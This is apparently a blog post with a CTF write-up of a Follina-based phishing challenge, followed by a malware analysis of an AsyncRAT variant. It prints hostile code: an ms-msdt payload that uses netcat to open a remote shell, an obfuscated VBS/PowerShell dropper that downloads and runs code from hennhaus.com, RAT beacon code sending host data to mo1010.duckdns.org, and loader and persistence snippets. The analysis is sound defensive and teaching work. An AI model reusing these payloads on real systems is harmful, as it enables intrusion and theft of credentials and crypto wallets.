HackTheBox Business CTF: Dirty Money

11 minute read

You are part of a multinational law enforcement operation called “ENIGMA” that targets malicious actors groups. The oldest running group called “Monkey Business” specialises in crypto-currency laundering, wire fraud, phishing campaigns, malware and ransomware strains. We need your help to take this group down. You’re our only hope to help us bring these criminals to the light of justice.

HacktheBox hosted their 2022 Business CTF: “Dirty Money”. This was a team event, with over 2900 players and 649 teams. I worked with The Chemours Company team. Despite the difficulty being rated “Beginner to Hard”, I found this CTF to be one of the hardest I have participated in. I think one of the biggest reasons was the lack of knowledge about the flags– in most CTFs you are limited to the artifacts provided, whereas with HTB, a lot of challenges were multi-faceted with lots of areas for partial flags to be. Regardless, it was a fun experience and definitely a great learning opportunity.


Lina’s Invitation

A CEO of a startup company reported that he could no longer access his Password Vault. It seems the password has been changed, but he states not to have done so. He reports receiving a birthday invitation to a Paintball party the last week. A few days later, his Italian friend told him that her email had been hacked and never sent out those birthday invites. He fears his lost password might have something to do with that birthday invite. Their SOC team confirmed their assumptions by admitting that this document escaped their attention and did not trigger any alert. Now they want us, ENIGMA, to analyze the provided network capture they took on the day and the document sent via his friends’ email.

Considering the prompt, it is safe to assume the Word document contained some sort of malicious payload, such as VBA macro or Follina. I assumed it was the latter, just because network traffic was provided, but I probably should have started by checking the document for macros. Running it through oletools shows no VBA macros found. So, I then checked capture.pcapng for http traffic, as per the Follina exploit.


Filtering by http shows all HTTP related traffic. There’s some interesting traffic with the User-Agent: “Microsoft Office Word 2014” going to hxxp://www.windowsliveupdater.com/windowsupdate.html. When first solving the challenge, the website worked. It now redirects to a Rick-Roll, so traffic probably was not supposed to be allowed to begin with. However, you can also find the raw response in packet 48 of Wireshark. It’s pretty long, so I won’t include it here. It’s HTML encoded, but decoding it reveals an interesting <script>...</script> tag at the end:

1location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwA6AFwAXAB3AGkAbgBkAG8AdwBzAFwAXABzAHkAcwB0AGUAbQAzADIAXABcAGMAbQBkAC4AZQB4AGUAIAAvAGMAIABuAGMAYQB0ACAAdwB3AHcALgB3AGkAbgBkAG8AdwBzAGwAaQB2AGUAdQBwAGQAYQB0AGUAcgAuAGMAbwBtACAANQA0ADcANgAgAC0AZQAgAGMAbQBkAC4AZQB4AGUAOwAgACQAcAB0ADEAPQBcACIASABUAEIAewBaAGUAcgAwAF8ARABhAHkAWgBfADQAUgBlAF8AQwAwAE8AbABfAEIAdQBUAF8AXAAiAA=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"";

This can be base64 decoded to reveal the first part of the flag. This flag had me stumped, since I was originally browsing to the URL, the script tags were in the page source. It didn’t cross my mind to check the page source, so shout out to @Jason Reyes for finding this flag.

This also helps us verify that it is indeed Follina:

Follina is a RCE vulnerability in the Microsoft Support Diagnostic Tool (MSDT) that allows attackers to subvert the ms-msdt protocol handler process. Attackers can use a specially crafted Word document that loads a malicious HTML file through the application’s remote template function

Follian uses a malicious remote template function. So, we should be able to check out the templates of birthday_invite.docx. Doc files act as archives, so it can be unzipped with unzip birthday_invite.docx. Looking through all the files, word/_rels/document.xml.rels stood out.

1Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="mhtml:http://windowsliveupdater.com:80/windowsupdate.html!x-usc:http://windowsliveupdater.com:80/windowsupdate.html" TargetMode="External"/>

And just a little bit further in the file is our second part of the flag.

Going back to the response from the /windowsupdate.html, there are 3 base64 encoded strings, which when decoded reveal a caesar cipher encoded string. This can further be decoded to reveal Invoke-MetasploitPayload.ps1. This mean it’s possible (and probable) that C2 was established.

Going back to the pcap, we can use the ssh filter, and will see SSH traffic between (the victim) and (The same server as /windowsupdate.html). Now, we can use ip.addr == to see all traffic relating to that IP. Quickly looking at the TCP traffic, I noticed some of the packets have readable text in them. Primarily, the traffic from -> One last filter is all we need:

1ip.addr == && tcp.port == 49896

There’s a lot of C2 related traffic. References to WinPEAS, grabbing the user’s password, and PowerShell. All the PowerShell payloads are base64 encoded, so let’s decode them:


This once again can be base64 decoded, and reveals

1 Iex ( ((("{2}{7}{6}{5}{9}{0}{8}{3}{10}{4}{1}" -f 'h','.exe','<#{0','!}','eas','A','t3=b33n_p','}p','3d','tc','#> .{1}winp'))-f  [Char]36,[Char]92))

There’s a bit of format-string obfuscation, which can be circumvented by running format string in PowerShell:

1"{2}{7}{6}{5}{9}{0}{8}{3}{10}{4}{1}" -f 'h','.exe','<#{0','!}','eas','A','t3=b33n_p','}p','3d','tc','#> .{1}winp'

This reveals the third and final flag for the challenge.



The CCSS suffered a ransomware attack that compromised the Unique Digital Medical File (EDUS) and the National Prescriptions System for the public pharmacies. They’ve reported that their infrastructure has been compromised, and they cannot regain access. The APT left their implant interface exposed, though, and you’ll need to break into it and find out how it works. NOTE: This challenge is intended to be solved before ‘Breakin’.

Docker Container:

All we were given for this challenge was a Docker container. I first attempted to identify the port via nmap. The host was blocking pings, so I used sudo nmap -vv -A -PA30191 -p30191 to get around it.

 230191/tcp open  unknown syn-ack ttl 43
 3| fingerprint-strings:
 4|   FourOhFourRequest:
 5|     HTTP/1.1 404 Not Found
 6|     Content-Length: 18
 7|     Resource not found
 8|   GetRequest:
 9|     HTTP/1.1 200 OK
10|     Content-Length: 515
11|_    href="/bin">bin/</a><br/><a href="/bkd">bkd</a><br/><a href="/dev">dev/</a><br/><a href="/etc">etc/</a><br/><a href="/home">home/</a><br/><a href="/lib">lib/</a><br/><a href="/media">media/</a><br/><a href="/mnt">mnt/</a><br/><a href="/opt">opt/</a><br/><a href="/proc">proc/</a><br/><a href="/root">root/</a><br/><a href="/run">run/</a><br/><a href="/sbin">sbin/</a><br/><a href="/srv">srv/</a><br/><a href="/sys">sys/</a><br/><a href="/tmp">tmp/</a><br/><a href="/usr">usr/</a><br/><a href="/var">var/</a><br/>

This shows that it is a web server, so I browsed to it. Interestingly enough, it failed on Firefox. I had to resort to Safari to access the website. Regardless, the website was a Linux file system, that allowed me to browse the file system. I first went to /etc/passwd and /etc/shadow, but nothing of use there. I then noticed a bkd in the root directory, which I had never seen before. I downloaded the file and ran file bkd, which revealed it was a ELF 64bit executable.

Then, I opened the file in Cutter. I started with string analysis and found a refernece to htb{, so the string is in this file somewhere. I went to the function that contained the string, secretGet(), and viewed it in graph mode. This actually was all I needed to do in order to be able to find all parts of the flag.

Artifacts can be found here: https://git.landon.pw/r/malware-analysis/tree/main/async-rat


During an incident investigation, we uncovered a new variation of the AsyncRAT threat campaign. This follows closely with MorphieSec’s analysis, but there are some differences to be noted.

Original Email Link: hxxp://webmail.spectrum.net/index.php/mail/viewmessage/getattachment/uniqueId/137694/account/0/filenameOriginal/ZXNHUCET67WGFYUH23HJ32F32.zip/filenameModified/ZXNHUCET67WGFYUH23HJ32F32.zip?folder=SU5CT1g%253D

The email link downloads zxnhucet67wgfyuh23hj32f32.zip. It is a ZIP archive containing an ISO disk image with the same name as the zip: ZXNHUCET67WGFYUH23HJ32F32.iso. Once mounted, the disk image contains PZKFEUUD76631.vbs.

Dropper Analysis

The malware starts at the PZKFEUUD76631.vbs. The VBS script employs basic obfuscation to call PowerShell, which downloads the contents of hxxp://hennhaus.com/wp-includes/images/wlw/pomo/wo/xx.txt and executes it.

 1GFEIIPQN = ("t.S")
 3QGKTYAJN = ("ri"+RZJIXQMY+"el")
 4YQKXLMIK = ("Sc")
 5Set JLVWAYWB = CreateObject("W"+YQKXLMIK+QGKTYAJN+"l")
 6WQRUDORK = "m"
 7YKPMWRKW = "po"
 8ZSNVRCYD = "el"
 9IPHJRZXC = "sh"
10XTDPCXDY = "l -Co"
11TLSQCTOM = "wer"
12EWCOIBQW = "man"
13SYFBMBZE = "d [void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.Visua"
14RBHSUTBB = "lBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow__lo--tri__g'.replace('__','n').replace('--','adS'),[Microsoft.VisualBasic.CallType]::Method,"
15YCAFQCOE = "'__#$_____!___'.Replace('__#$__','http://hennhaus.co').Replace('___!___','m/wp-includes/images/wlw/pomo/wo/xx.txt'))|IE"
16BMUYOXSY = "X;[Byte[]]"
20// Deobfuscated
21Set JLVWAYWB = CreateObject("Wscript.Shell")
22JLVWAYWB.Run powershell -Command [void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'hxxp://hennhaus.com/wp-includes/images/wlw/pomo/wo/xx.txt')|IEX;[Byte[]], 0

The script downloaded creates persistence. It creates a few files:

  • img.ps1 (From hxxp://hennhaus.com/wp-includes/images/wlw/pomo/wo/1.txt)
  • xx.bat - Creates scheduled task to run img.vbs
  • img.vbs - Runs img.bat
  • img.bat - Executes the img.ps1 PowerShell
  • xx.vbs - Runs xx.bat

All of these files are stored in the C:\ProgramData\img\ISO directory.

So all-in-all, the action flow is as follows: zip -> iso -> vbs -> xx.vbs -> xx.bat -> img.vbs -> img.bat -> img.ps1

img.ps does a couple of things to initiate the malicious payload. It first declares a few variables:

1[String] $IP = 'mo1010.duckdns.org'
2[String] $Port = '4000'
3[String] $Splitter = 'qiQqi'
4[String] $sleepSec = 5

Then, it grabs the HWID and AV product of the machine.

 4try {
 5$hwid = $Fs.GetDrive($pwd.drive.name).SerialNumber
 6$hwid = "{0:X}" -f $hwid
 8catch {
 9 $hwid = 'Error'
12try {
13$AV = (Get-WmiObject -Namespace 'root/SecurityCenter2' -Class 'AntiVirusProduct').displayname;
14    if ($AV -eq $null)
15    {$AV = 'NAN/AV'}
17catch {
18  $AV = 'NAN/AV'

Next, it sends information about the machine to the mo1010.duckdns.org:4000 web server. It packs all of the information: HWID, AV, OS, computer name, and username, and passes it as a User-Agent in the request header.

 1Function HTTP($DA, $Param) {
 2    [String] $Response = [String]::Empty
 3    try
 4    {
 5        $httpobj.Open('POST', 'http://' + $IP + ':' + $Port + '/' + $DA, $false)
 6        $httpobj.SetRequestHeader('User-Agent:', $hwid + $Splitter+ $NT + $Splitter + ($env:COMPUTERNAME) + $Splitter + ($env:UserName) + $Splitter + (Get-WmiObject Win32_OperatingSystem).Caption + $Splitter + $Splitter + "0.1" + $Splitter + $AV + $Splitter + "Powershell" + $Splitter)
 7        $httpobj.Send($Param)
 8        $Response = [Convert]::ToString($httpobj.ResponseText)
 9    } catch { }
10    return $Response
15    $A = [Microsoft.VisualBasic.Strings]::Split((HTTP("ready", "")) , $Splitter)

Dependent on the response of the request, there’s twelve commands the PowerShell can run. The script splits the response and uses the first element in the array as the command.

 1switch($A[0]) {
 2    'close' {
 3        ...
 4    }
 5    'UNS' {
 6        ...
 7    }
 8    'DW' {
 9        ...
10    }
11    'exc' {
12        ...
13    }
14    'memory' {
15        ...
16    }
17    'bot' {
18        ...
19    }
20    'PE' {
21        ...
22    }
23    'vurl' {
24        ...
25    }
26    'hurl' {
27        ...
28    }
29    'shellfuc' {
30        ...
31    }
32    'Note' {
33        ...
34    }

Here are the commands and what they do:

  • ‘close’: Stops the script
  • ‘restart’: Stops the script and re-opens it
  • ‘UNS’: Stops the script and deletes it (uninstall)
  • ‘DW’: Writes bytes to a file in the temp folder
  • ’exc’: Downloads file to the temp folder
  • ‘memory’: Loads an assembly into the application domain
  • ‘bot’: Invokes the BotKiller class from reflected PE
  • ‘PE’: Invokes the SendtoMemory class from reflected PE
  • ‘vurl’: Runs the second argument of the response
  • ‘hurl’: Navigates to a website via Internet Explorer in an invisible window
  • ‘shellfuc’: Similar to vurl, except with a hidden window
  • ‘Note’: Writes to registry key HKEY_CURRENT_USER\SOFTWARE\<hwid>\Note

These are guesses on the usage, as there is no way to be sure without seeing the request response.

Either the ‘DW’ or ’exc’ command cause the final stage of the malware to be dropped on the machine. It downloads 1.ps1 to %appdata%\Local\Temp.

Payload Analysis

1.ps contains two helper functions, Binary2String and HexaToByte. These functions are used to decode two strings, $serv and $DATA:

1byte[]]$RF5X = HexaToByte($serv)
2[byte[]]$TyXC3 = HexaToByte($DATA)

These bytes represent PE files. $RF5X is Stub.exe and TyXC3 is runpe.dll. Further analysis of the runpe.dll shows it is packed with ConfuserEx.

It uses the RunPE process hollowing technique to start an aspnet_compiler.exe process and inject the payload in it. The runpe.dll is used for the process hollowing, and Stub.exe contains the actual malware.

 1[byte[]]$RF5X = HexaToByte($serv)
 2[byte[]]$TyXC3 = HexaToByte($DATA)
 3   } catch { }
 4    try
 5    {
 6$Y4X = "LZXXZ".Replace("ZXXZ","oad")
 7  $IO5D = $Y4X
 8  $get = "GeLZXXZ".Replace("LZXXZ","tMethod")
 9  $UVJZ2 = $get
10$MXU4 = (Binary2String("01000101011110000110010101100011011101010111010001100101"))
11$WTXY6 = (Binary2String("010010010110111001110110011011110110101101100101"))
12$OLFW = 'C___!___:\Windo___!___ws\Micros___!___oft.NEt\F___!___ramework\___!___v4.0.30319___!___\asp___!___net_com___!___piler.e___!___xe'
13$MXU4 = (Binary2String("01000101011110000110010101100011011101010111010001100101"))
14$WTXY6 = (Binary2String("010010010110111001110110011011110110101101100101"))
15$OLFW = 'C___!___:\Windo___!___ws\Micros___!___oft.NEt\F___!___ramework\___!___v4.0.30319___!___\asp___!___net_com___!___piler.e___!___xe'
18# Deobfuscated
19# Loads `runpe.dll` PE, and then invokes `Stub.exe` in the process.
20#[Reflection.Assembly]::Load($TyXC3).'Gettype'('GIT.local').'GetMethod'('Execute').'Invoke'($null, ('C:\Windows\Microsoft.NEt\Framework\v4.0.30319\aspnet_compiler.exe', $RF5X))
22 try
23    {
24$XR0 = "Fra-!-!*!*-".Replace("-!-!*!*-","mework64")
26catch { }
27 try
28    {
29$SEWYSU = "Fra-!-!*!*-".Replace("-!-!*!*-","mework")
31catch { }
32$SEWYSU + $XR0
33} catch { }

Manalyzer catches some interesting behavior. There are checks for VMWare and Sandboxie presence.

Some other references that are interesting that Manalyzer missed:

  • System.Collections.IEnumerable.GetEnumerator - Possibly to enumerate all files (ie: ransomware capabilities)
  • Google Chrome ‘MetaMask’ extension
  • Exodus Wallet exodus.conf.json
  • Bitcoin settings.json
  • Atomic cookies
  • Bitcoin Core
  • VirtualBox
  • AES, MD5 CryptoServiceProvider
  • Task Scheduler
  • Select * from AntivirusProduct
  • AnyDesk
  • Offkeylogger
  • asynclogs.txt
  • “masterKey”
  • sendPlugin, savePlugin

XPEViewer XPEViewer ‘Strings’

From just looking at the strings, there is a pretty clear idea on what this malware does. There are a few references to crypto wallets: Exodus, MetaMask, and Atomic, and their relevant configuration files– so probably a crypto stealer feature. There is also a reference to “AnyDesk” and “Offkeylogger”, so remote viewing is probably provided by AnyDesk and the ability to log keystrokes. There are also multiple references to cryptography: AES and MD5 CryptoServiceProvider as well as a “master key”. This indicates a high likelihood that the malware has ransomware capabilities.

There is also reference to scheduled task via /c schtasks /create /f /sc onlogon /rl highest /tn " which references the registry location: Software\Microsoft\Windows\CurrentVersion\Run. This is to create persistence and run the malware at login.

Dynamic testing of the malware confirms these suspicions. When ran, multiple Dialog boxes opened, and the threat actor asked “What are you working on” as well as “Are you from Paris or London?”. Eventually, they prompted me to add them on Telegram or ICQ, which I added them on Telegram. They operate under the handle @BusinessIsLife. After a while of talking on Telegram, the actor began to delete and rename files on the VM. It was actually a pretty cool experience to communicate with the threat actor during the analysis.


Nevertheless, the dynamic testing proved the malware’s ability to interact with the host, proving it’s capabilities as a RAT. Based on the testing and information available at this time, it seems the malware is a variant of the AsyncRAT family, with the ability to steal crypto wallets. Another possible related malware is the njRAT LIME variant. During investigation on runpe.dll, I discovered a YouTube video: “RunPe Dll In C# By neutron” and at 4:23, there are references to njRAT.exe and Stub.manifest, which could possibly link to Stub.exe.

That’s all for the analysis of this malware. Thanks for reading, and I hope the information provided was clear and succinct, yet informative. Feel free to connect with me on my socials, I plan to continue the malware analysis and will post updates there:

LinkedIn: https://linkedin.com/in/landoncrabtree

Artifacts / IoC

zxnhucet67wgfyuh23hj32f32.zip [4f61c43d13ed7a1fb3ce88f468ac3d3616835b15bba423844d4fa567e4eb3789]

ZXNHUCET67WGFYUH23HJ32F32.iso [9adffa4a4112fac8e10e2a2902cfd69d397ad32dd8d551e222a23461091b95ff]

PZKFEUUD76631.vbs [56b18ab332e0cc57d093588a94a0c005e4cc3c9e46a85e508156ef97f49ea950]

xx.bat [5a0e5c556ccce109ecce3678f0fbf58ef7443908a60885836290ce3030e16224]

xx.vbs [aced1a2634565371ed59da082d806be6f413dae012ad182406c31a3a48853397]

img.bat [b8c13e23f710819e5d2485808f916c7ea4853917d3a7b765c25708cc461d00e1]

img.vbs [80924e8ae8dc6f2302247d9efa5b39cf32fa9115b31f335421df56f8fbba40c3]

img.ps1 [0bca0664c345bc64e80df1d31d197f37f041979d4aaf7d163258f56d5fc98f05]

1.ps1 [e19478a0b6f04da540dab607f3f31c12784ba6ce373cebb7e5b2826827b1144f]

runpe.dll [4961eee1ea6e916f0ac4383b7c4ccbd53ee696c651fec983b8361dd87b0cc4e7]

Stub.exe [844584b3cde84d6ebfcb4e9f0bdd31fea4f37021727b771712674ea22e14dc46]

hennhaus.com |

mo1010.duckdns.org |